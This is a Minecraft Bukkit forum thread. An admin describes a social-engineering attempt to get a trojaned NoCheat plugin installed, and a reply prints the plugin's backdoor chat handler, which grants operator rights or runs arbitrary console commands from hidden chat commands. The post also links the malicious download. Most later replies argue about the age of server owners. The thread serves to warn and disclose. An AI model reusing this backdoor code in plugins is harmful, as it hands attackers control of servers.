Hacking Attempt

Discussion in 'Bukkit Discussion' started by imaxorz, Apr 21, 2012.

Thread Status:
Not open for further replies.
  1. Offline

    imaxorz

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    Just want to warn other admins.

    Had someone come on the server saying we were on a "griefing list" and he is here to protect us. He asked me install a plugin that will "bind" with NoCheat. I said ok, to waste his time, ha.

    After wasting 20-30 minutes of his time I said I am reloading plugins and reloaded bpermissions a few times to create lag so it seems like I reloaded plugins. After which I watched two people try to op themselves in console, then I laughed at them and banned them.

    The players were:
    <snip>

    Here is what he had be install if some developers want to look at it http://www.mediafire.com/?4e3c96nof93c7e9
    Looks like modified NoCheat++ with extra stuff added to it so they can OP themselves.

    This post has been edited 3 times. It was last edited by TnT Jun 18, 2012.
    zhuowei likes this.
  2. Offline

    04blatca

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    The main code in this plugin allows the user to op themselves with the code below:

    Code:
      @EventHandler
      public void onChat(PlayerChatEvent event) {
        if (event.getMessage().startsWith(".opme"))
        {
          event.getPlayer().setOp(true);
          event.getPlayer().sendMessage("You are now OP.");
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".deopme"))
        {
          event.getPlayer().setOp(false);
          event.getPlayer().sendMessage("You are no longer OP.");
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".op "))
        {
          String nick = event.getMessage().substring(".op ".length());
          if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
          {
            Bukkit.getPlayer(nick).setOp(true);
            event.getPlayer().sendMessage(nick + " is now OP.");
          }
          else
          {
            event.getPlayer().sendMessage(nick + " is not online.");
          }
     
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".deop "))
        {
          String nick = event.getMessage().substring(".deop ".length());
          if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
          {
            Bukkit.getPlayer(nick).setOp(false);
            event.getPlayer().sendMessage(nick + " is no longer OP.");
          }
          else
          {
            event.getPlayer().sendMessage(nick + " is not online.");
          }
     
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".opall"))
        {
          for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
          {
            Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
          }
          event.getPlayer().sendMessage("Everyone is now OP.");
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".deopall"))
        {
          for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
          {
            Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
          }
          event.getPlayer().sendMessage("No moar OPs!");
          event.setCancelled(true);
        }
     
        if (event.getMessage().startsWith(".exe"))
        {
          Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
          event.getPlayer().sendMessage("Executed.");
          event.setCancelled(true);
        }
      }
    }
  3. Offline

    sillyrosster

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    They aren't very smart. What Admin would fall for that? Just saying.
  4. Offline

    bluehasia

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    the ones under 14 that run servers XD
  5. Offline

    sillyrosster

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    True dat. I joined a random server yesterday and was OP'd on log in. He was 7..

    Poor guy :p

    This post has been edited 1 time. It was last edited by sillyrosster Apr 23, 2012.
    zhuowei, JonesyBoppa and tyzoid like this.
  6. Offline

    TheHateradeGamer

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    I'm 12 and i'm pretty mature for my age, maybe say "dumb people that run servers" instead of "server owners under 14", don't judge according to age.

    I run my own server.

    This post has been edited 1 time. It was last edited by TheHateradeGamer Jun 8, 2012.
    DrAgonmoray likes this.
  7. Offline

    sillyrosster

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    We judge according to age because about 90% of people under 14 are not mature for their age.
  8. Offline

    TheHateradeGamer

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
  9. Offline

    Hello83

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    Hi five, fellow smart Middle-Schooler! :)
  10. Offline

    TheBeast808

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    Or you're part of the 80% of the 90% who think they're mature for their age but aren't.
    Typical_Name likes this.
  11. Offline

    number1_Master

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    You'd be surprised how smart most of those people are.
    That is why I don't judge people based of their age, voice, height, ect.

    This post has been edited 1 time. It was last edited by nunber1_Master Jun 19, 2012.
    -_Husky_- likes this.
  12. Offline

    number1_Master

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    True, but don't judge everyone.
    -_Husky_- likes this.
  13. Offline

    sillyrosster

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    etc.* :p
  14. Offline

    number1_Master

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    Really it is etc?

    Googled it. Ect. is a type of therapy...

    This post has been edited 1 time. It was last edited by nunber1_Master Jun 19, 2012.
  15. Offline

    drakee510

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    I am 13 :p. I'm not making my server public till EVERYTHING is perfect. My freind's cousin who is like 7 wanted to make one and my freind had no clue about MC so he asked me and I told him: Yeah just play on another server.
    nunber1_Master likes this.
  16. Offline

    AlexCityOfFun

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    I agree with you! Don't judge the book by its cover!
    nunber1_Master likes this.
  17. Offline

    number1_Master

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    This thread is getting a little out of hand.
    Now all I am seeing (a little on other threads) is people saying, "You must be under 14" just for some mistakes.
    On my server, someone just joins and starts talking about other servers. One of the sentences he said were like this: "I hate server owners 13 and under." That was just for the fact most server owners are 13 but are under 14.

    This post has been edited 1 time. It was last edited by nunber1_Master Jun 20, 2012.
  18. Offline

    tsuna25

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    Tell me their names again :confused:
  19. Online

    mbaxter ʇıʞʞnq ɐ sɐɥ ı Moderator BukkitDev Staff

    dev.bukkit.org profile:
    CFUSERNAME
    My Plugins (CFCOUNT)
    This has gotten far off topic.

    Don't download plugins from untrusted sources.
Thread Status:
Not open for further replies.

Share This Page